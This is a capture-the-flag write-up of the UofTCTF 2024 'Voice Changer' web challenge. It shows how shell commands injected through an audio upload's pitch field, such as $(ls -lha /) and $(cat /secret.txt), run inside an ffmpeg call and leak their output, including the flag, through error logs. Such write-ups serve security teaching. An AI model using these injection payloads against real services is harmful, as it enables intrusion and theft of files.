Tags: command_injection file_upload 

Rating: 5.0

## Web/Voice Changer (206 solves)
Created by: `Ido`
> I made a cool app that changes your voice.

We are given a URL to a blank website with a simple voice recording platform.

![Main Page](https://seall.dev/images/ctfs/uoftctf2024/voicechanger.png)

When uploading and recording a voice message, we can also adjust the pitch. Here is the upload request to the server:

```
POST /upload HTTP/1.1
Host: uoftctf-voice-changer.chals.io
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------203210044820429582851581787850
Content-Length: 15823

-----------------------------203210044820429582851581787850
Content-Disposition: form-data; name="pitch"

1.52
-----------------------------203210044820429582851581787850
Content-Disposition: form-data; name="input-file"; filename="recording.ogg"
Content-Type: audio/ogg

OggS...
-----------------------------203210044820429582851581787850--
```

Once uploaded we can see the `ffmpeg` logs given back:

```
$ ffmpeg -i "/app/upload/35d2f080-b356-11ee-825a-89f99051da31.ogg" -y -af "asetrate=44100*1.52,aresample=44100,atempo=1/1.52" "/app/output/35d2f080-b356-11ee-825a-89f99051da31.ogg"
```

We can see our pitch value in there as `1.52`, I immediately think of Command Injection.

I change my value of pitch value to `$(whoami)` and we can see a result of `myuser` in the ffmpeg log!

```
$ ffmpeg -i \"/app/upload/b6ff5450-b356-11ee-bed6-0fc1d21dc1fb.ogg\" -y -af \"asetrate=44100*$(whoami),aresample=44100,atempo=1/$(whoami)\" \"/app/output/b6ff5450-b356-11ee-bed6-0fc1d21dc1fb.ogg\"\n\nffmpeg version 6.1 Copyright (c) 2000-2023 the FFmpeg developers\n built with gcc 13.2.1 (Alpine 13.2.1_git20231014) 20231014\n configuration: --prefix=/usr --disable-librtmp --disable-lzma --disable-static --disable-stripping --enable-avfilter --enable-gpl --enable-ladspa --enable-libaom --enable-libass --enable-libbluray --enable-libdav1d --enable-libdrm --enable-libfontconfig --enable-libfreetype --enable-libfribidi --enable-libharfbuzz --enable-libmp3lame --enable-libopenmpt --enable-libopus --enable-libplacebo --enable-libpulse --enable-librav1e --enable-librist --enable-libsoxr --enable-libsrt --enable-libssh --enable-libtheora --enable-libv4l2 --enable-libvidstab --enable-libvorbis --enable-libvpx --enable-libwebp --enable-libx264 --enable-libx265 --enable-libxcb --enable-libxml2 --enable-libxvid --enable-libzimg --enable-libzmq --enable-lto=auto --enable-lv2 --enable-openssl --enable-pic --enable-postproc --enable-pthreads --enable-shared --enable-vaapi --enable-vdpau --enable-version3 --enable-vulkan --optflags=-O3 --enable-libjxl --enable-libsvtav1 --enable-libvpl\n libavutil 58. 29.100 / 58. 29.100\n libavcodec 60. 31.102 / 60. 31.102\n libavformat 60. 16.100 / 60. 16.100\n libavdevice 60. 3.100 / 60. 3.100\n libavfilter 9. 12.100 / 9. 12.100\n libswscale 7. 5.100 / 7. 5.100\n libswresample 5. 0.100 / 5. 0.100\n libpostproc 57. 3.100 / 57. 3.100\nInput #0, matroska,webm, from '/app/upload/b6ff5450-b356-11ee-bed6-0fc1d21dc1fb.ogg':\n Metadata:\n encoder : Chrome\n Duration: N/A, start: 0.000000, bitrate: N/A\n Stream #0:0(eng): Audio: opus, 48000 Hz, mono, fltp (default)\n[Parsed_asetrate_0 @ 0x7f22b1b3aec0] [Eval @ 0x7ffd4841fcb0] Undefined constant or missing '(' in 'myuser'\n[Parsed_asetrate_0 @ 0x7f22b1b3aec0] Unable to parse option value \"44100*myuser\"\nError applying option 'sample_rate' to filter 'asetrate': Invalid argument\n[aost#0:0/libvorbis @ 0x7f22b15da380] Error initializing a simple filtergraph\nError opening output file /app/output/b6ff5450-b356-11ee-bed6-0fc1d21dc1fb.ogg.\nError opening output files: Invalid argument\n
```

After some probing I try `$(ls -lha /)` and find something of interest.

```
$ ffmpeg -i \"/app/upload/f8469a40-b356-11ee-bed6-0fc1d21dc1fb.ogg\" -y -af \"asetrate=44100*$(ls -lha /),aresample=44100,atempo=1/$(ls -lha /)\" \"/app/output/f8469a40-b356-11ee-bed6-0fc1d21dc1fb.ogg\"\n\nffmpeg version 6.1 Copyright (c) 2000-2023 the FFmpeg developers\n built with gcc 13.2.1 (Alpine 13.2.1_git20231014) 20231014\n configuration: --prefix=/usr --disable-librtmp --disable-lzma --disable-static --disable-stripping --enable-avfilter --enable-gpl --enable-ladspa --enable-libaom --enable-libass --enable-libbluray --enable-libdav1d --enable-libdrm --enable-libfontconfig --enable-libfreetype --enable-libfribidi --enable-libharfbuzz --enable-libmp3lame --enable-libopenmpt --enable-libopus --enable-libplacebo --enable-libpulse --enable-librav1e --enable-librist --enable-libsoxr --enable-libsrt --enable-libssh --enable-libtheora --enable-libv4l2 --enable-libvidstab --enable-libvorbis --enable-libvpx --enable-libwebp --enable-libx264 --enable-libx265 --enable-libxcb --enable-libxml2 --enable-libxvid --enable-libzimg --enable-libzmq --enable-lto=auto --enable-lv2 --enable-openssl --enable-pic --enable-postproc --enable-pthreads --enable-shared --enable-vaapi --enable-vdpau --enable-version3 --enable-vulkan --optflags=-O3 --enable-libjxl --enable-libsvtav1 --enable-libvpl\n libavutil 58. 29.100 / 58. 29.100\n libavcodec 60. 31.102 / 60. 31.102\n libavformat 60. 16.100 / 60. 16.100\n libavdevice 60. 3.100 / 60. 3.100\n libavfilter 9. 12.100 / 9. 12.100\n libswscale 7. 5.100 / 7. 5.100\n libswresample 5. 0.100 / 5. 0.100\n libpostproc 57. 3.100 / 57. 3.100\nInput #0, matroska,webm, from '/app/upload/f8469a40-b356-11ee-bed6-0fc1d21dc1fb.ogg':\n Metadata:\n encoder : Chrome\n Duration: N/A, start: 0.000000, bitrate: N/A\n Stream #0:0(eng): Audio: opus, 48000 Hz, mono, fltp (default)\n[AVFilterGraph @ 0x7f540765aec0] No option name near '31 .\ndrwxr-xr-x 1 root root 4.0K Jan 15 03:31 ..\n-rwxr-xr-x 1 root root 0 Jan 15 03:31 .dockerenv\ndrwxr-xr-x 1 root root 4.0K Jan 13 05:35 app\ndrwxr-xr-x 1 root root 4.0K Dec 11 18:37 bin\ndrwxr-xr-x 5 root root 360 Jan 15 03:31 dev\ndrwxr-xr-x 1 root root 4.0K Jan 15 03:31 etc\ndrwxr-xr-x 1 root root 4.0K Jan 13 05:35 home\ndrwxr-xr-x 1 root root 4.0K Jan 10 21:25 lib\ndrwxr-xr-x 5 root root 4.0K Dec 7 09:43 media\ndrwxr-xr-x 2 root root 4.0K Dec 7 09:43 mnt\ndrwxr-xr-x 1 root root 4.0K Dec 11 18:37 opt\ndr-xr-xr-x 414 nobody nobody 0 Jan 15 03:31 proc\ndrwx------ 1 root root 4.0K Dec 11 18:37 root\ndrwxr-xr-x 2 root root 4.0K Dec 7 09:43 run\ndrwxr-xr-x 1 root root 4.0K Jan 10 21:24 sbin\n-rwxr-xr-x 1 root root 31 Dec 31 04:31 secret.txt\ndrwxr-xr-x 2 root root 4.0K Dec 7 09:43 srv\ndr-xr-xr-x 13 nobody nobody 0 Jan 15 03:31 sys\ndrwxrwxrwt 1 root root 4.0K Dec 11 18:37 tmp\ndrwxr-xr-x 1 root root 4.0K Jan 10 21:25 usr\ndrwxr-xr-x 1 root root 4.0K Dec 7 09:43 var'\n[AVFilterGraph @ 0x7f540765aec0] Error parsing a filter description around: ,aresample=44100,atempo=1/total 76K \ndrwxr-xr-x 1 root root 4.0K Jan 15 03:31 .\ndrwxr-xr-x 1 root root 4.0K Jan 15 03:31 ..\n-rwxr-xr-x 1 root root 0 Jan 15 03:31 .dockerenv\ndrwxr-xr-x 1 root root 4.0K Jan 13 05:35 app\ndrwxr-xr-x 1 root root 4.0K Dec 11 18:37 bin\ndrwxr-xr-x 5 root root 360 Jan 15 03:31 dev\ndrwxr-xr-x 1 root root 4.0K Jan 15 03:31 etc\ndrwxr-xr-x 1 root root 4.0K Jan 13 05:35 home\ndrwxr-xr-x 1 root root 4.0K Jan 10 21:25 lib\ndrwxr-xr-x 5 root root 4.0K Dec 7 09:43 media\ndrwxr-xr-x 2 root root 4.0K Dec 7 09:43 mnt\ndrwxr-xr-x 1 root root 4.0K Dec 11 18:37 opt\ndr-xr-xr-x 414 nobody nobody 0 Jan 15 03:31 proc\ndrwx------ 1 root root 4.0K Dec 11 18:37 root\ndrwxr-xr-x 2 root root 4.0K Dec 7 09:43 run\ndrwxr-xr-x 1 root root 4.0K Jan 10 21:24 sbin\n-rwxr-xr-x 1 root root 31 Dec 31 04:31 secret.txt\ndrwxr-xr-x 2 root root 4.0K Dec 7 09:43 srv\ndr-xr-xr-x 13 nobody nobody 0 Jan 15 03:31 sys\ndrwxrwxrwt 1 root root 4.0K Dec 11 18:37 tmp\ndrwxr-xr-x 1 root root 4.0K Jan 10 21:25 usr\ndrwxr-xr-x 1 root root 4.0K Dec 7 09:43 var\n[AVFilterGraph @ 0x7f540765aec0] Error parsing filterchain 'asetrate=44100*total 76K \ndrwxr-xr-x 1 root root 4.0K Jan 15 03:31 .\ndrwxr-xr-x 1 root root 4.0K Jan 15 03:31 ..\n-rwxr-xr-x 1 root root 0 Jan 15 03:31 .dockerenv\ndrwxr-xr-x 1 root root 4.0K Jan 13 05:35 app\ndrwxr-xr-x 1 root root 4.0K Dec 11 18:37 bin\ndrwxr-xr-x 5 root root 360 Jan 15 03:31 dev\ndrwxr-xr-x 1 root root 4.0K Jan 15 03:31 etc\ndrwxr-xr-x 1 root root 4.0K Jan 13 05:35 home\ndrwxr-xr-x 1 root root 4.0K Jan 10 21:25 lib\ndrwxr-xr-x 5 root root 4.0K Dec 7 09:43 media\ndrwxr-xr-x 2 root root 4.0K Dec 7 09:43 mnt\ndrwxr-xr-x 1 root root 4.0K Dec 11 18:37 opt\ndr-xr-xr-x 414 nobody nobody 0 Jan 15 03:31 proc\ndrwx------ 1 root root 4.0K Dec 11 18:37 root\ndrwxr-xr-x 2 root root 4.0K Dec 7 09:43 run\ndrwxr-xr-x 1 root root 4.0K Jan 10 21:24 sbin\n-rwxr-xr-x 1 root root 31 Dec 31 04:31 secret.txt\ndrwxr-xr-x 2 root root 4.0K Dec 7 09:43 srv\ndr-xr-xr-x 13 nobody nobody 0 Jan 15 03:31 sys\ndrwxrwxrwt 1 root root 4.0K Dec 11 18:37 tmp\ndrwxr-xr-x 1 root root 4.0K Jan 10 21:25 usr\ndrwxr-xr-x 1 root root 4.0K Dec 7 09:43 var,aresample=44100,atempo=1/total 76K \ndrwxr-xr-x 1 root root 4.0K Jan 15 03:31 .\ndrwxr-xr-x 1 root root 4.0K Jan 15 03:31 ..\n-rwxr-xr-x 1 root root 0 Jan 15 03:31 .dockerenv\ndrwxr-xr-x 1 root root 4.0K Jan 13 05:35 app\ndrwxr-xr-x 1 root root 4.0K Dec 11 18:37 bin\ndrwxr-xr-x 5 root root 360 Jan 15 03:31 dev\ndrwxr-xr-x 1 root root 4.0K Jan 15 03:31 etc\ndrwxr-xr-x 1 root root 4.0K Jan 13 05:35 home\ndrwxr-xr-x 1 root root 4.0K Jan 10 21:25 lib\ndrwxr-xr-x 5 root root 4.0K Dec 7 09:43 media\ndrwxr-xr-x 2 root root 4.0K Dec 7 09:43 mnt\ndrwxr-xr-x 1 root root 4.0K Dec 11 18:37 opt\ndr-xr-xr-x 414 nobody nobody 0 Jan 15 03:31 proc\ndrwx------ 1 root root 4.0K Dec 11 18:37 root\ndrwxr-xr-x 2 root root 4.0K Dec 7 09:43 run\ndrwxr-xr-x 1 root root 4.0K Jan 10 21:24 sbin\n-rwxr-xr-x 1 root root 31 Dec 31 04:31 secret.txt\ndrwxr-xr-x 2 root root 4.0K Dec 7 09:43 srv\ndr-xr-xr-x 13 nobody nobody 0 Jan 15 03:31 sys\ndrwxrwxrwt 1 root root 4.0K Dec 11 18:37 tmp\ndrwxr-xr-x 1 root root 4.0K Jan 10 21:25 usr\ndrwxr-xr-x 1 root root 4.0K Dec 7 09:43 var' around: ,aresample=44100,atempo=1/total 76K \ndrwxr-xr-x 1 root root 4.0K Jan 15 03:31 .\ndrwxr-xr-x 1 root root 4.0K Jan 15 03:31 ..\n-rwxr-xr-x 1 root root 0 Jan 15 03:31 .dockerenv\ndrwxr-xr-x 1 root root 4.0K Jan 13 05:35 app\ndrwxr-xr-x 1 root root 4.0K Dec 11 18:37 bin\ndrwxr-xr-x 5 root root 360 Jan 15 03:31 dev\ndrwxr-xr-x 1 root root 4.0K Jan 15 03:31 etc\ndrwxr-xr-x 1 root root 4.0K Jan 13 05:35 home\ndrwxr-xr-x 1 root root 4.0K Jan 10 21:25 lib\ndrwxr-xr-x 5 root root 4.0K Dec 7 09:43 media\ndrwxr-xr-x 2 root root 4.0K Dec 7 09:43 mnt\ndrwxr-xr-x 1 root root 4.0K Dec 11 18:37 opt\ndr-xr-xr-x 414 nobody nobody 0 Jan 15 03:31 proc\ndrwx------ 1 root root 4.0K Dec 11 18:37 root\ndrwxr-xr-x 2 root root 4.0K Dec 7 09:43 run\ndrwxr-xr-x 1 root root 4.0K Jan 10 21:24 sbin\n-rwxr-xr-x 1 root root 31 Dec 31 04:31 secret.txt\ndrwxr-xr-x 2 root root 4.0K Dec 7 09:43 srv\ndr-xr-xr-x 13 nobody nobody 0 Jan 15 03:31 sys\ndrwxrwxrwt 1 root root 4.0K Dec 11 18:37 tmp\ndrwxr-xr-x 1 root root 4.0K Jan 10 21:25 usr\ndrwxr-xr-x 1 root root 4.0K Dec 7 09:43 var\n[aost#0:0/libvorbis @ 0x7f5407a16380] Error initializing a simple filtergraph\nError opening output file /app/output/f8469a40-b356-11ee-bed6-0fc1d21dc1fb.ogg.\nError opening output files: Invalid argument\n
```

Inside the block of text you can see `secret.txt`.

I try reading the flag with `$(cat /secret.txt)`...

```
$ ffmpeg -i \"/app/upload/25767170-b357-11ee-bed6-0fc1d21dc1fb.ogg\" -y -af \"asetrate=44100*$(cat /secret.txt),aresample=44100,atempo=1/$(cat /secret.txt)\" \"/app/output/25767170-b357-11ee-bed6-0fc1d21dc1fb.ogg\"\n\nffmpeg version 6.1 Copyright (c) 2000-2023 the FFmpeg developers\n built with gcc 13.2.1 (Alpine 13.2.1_git20231014) 20231014\n configuration: --prefix=/usr --disable-librtmp --disable-lzma --disable-static --disable-stripping --enable-avfilter --enable-gpl --enable-ladspa --enable-libaom --enable-libass --enable-libbluray --enable-libdav1d --enable-libdrm --enable-libfontconfig --enable-libfreetype --enable-libfribidi --enable-libharfbuzz --enable-libmp3lame --enable-libopenmpt --enable-libopus --enable-libplacebo --enable-libpulse --enable-librav1e --enable-librist --enable-libsoxr --enable-libsrt --enable-libssh --enable-libtheora --enable-libv4l2 --enable-libvidstab --enable-libvorbis --enable-libvpx --enable-libwebp --enable-libx264 --enable-libx265 --enable-libxcb --enable-libxml2 --enable-libxvid --enable-libzimg --enable-libzmq --enable-lto=auto --enable-lv2 --enable-openssl --enable-pic --enable-postproc --enable-pthreads --enable-shared --enable-vaapi --enable-vdpau --enable-version3 --enable-vulkan --optflags=-O3 --enable-libjxl --enable-libsvtav1 --enable-libvpl\n libavutil 58. 29.100 / 58. 29.100\n libavcodec 60. 31.102 / 60. 31.102\n libavformat 60. 16.100 / 60. 16.100\n libavdevice 60. 3.100 / 60. 3.100\n libavfilter 9. 12.100 / 9. 12.100\n libswscale 7. 5.100 / 7. 5.100\n libswresample 5. 0.100 / 5. 0.100\n libpostproc 57. 3.100 / 57. 3.100\nInput #0, matroska,webm, from '/app/upload/25767170-b357-11ee-bed6-0fc1d21dc1fb.ogg':\n Metadata:\n encoder : Chrome\n Duration: N/A, start: 0.000000, bitrate: N/A\n Stream #0:0(eng): Audio: opus, 48000 Hz, mono, fltp (default)\n[Parsed_asetrate_0 @ 0x7f09addf2ec0] [Eval @ 0x7ffc67764920] Undefined constant or missing '(' in 'uoftctf{Y0URPitchIS70OH!9H}'\n[Parsed_asetrate_0 @ 0x7f09addf2ec0] Unable to parse option value \"44100*uoftctf{Y0UR Pitch IS 70O H!9H}\"\nError applying option 'sample_rate' to filter 'asetrate': Invalid argument\n[aost#0:0/libvorbis @ 0x7f09ad892380] Error initializing a simple filtergraph\nError opening output file /app/output/25767170-b357-11ee-bed6-0fc1d21dc1fb.ogg.\nError opening output files: Invalid argument\n
```

Which gives us the flag (somewhere in there)!

Flag: `uoftctf{Y0URPitchIS70OH!9H}`

**Files:** None provided :(

Original writeup (https://seall.dev/posts/uoftctf2024#webvoice-changer-206-solves).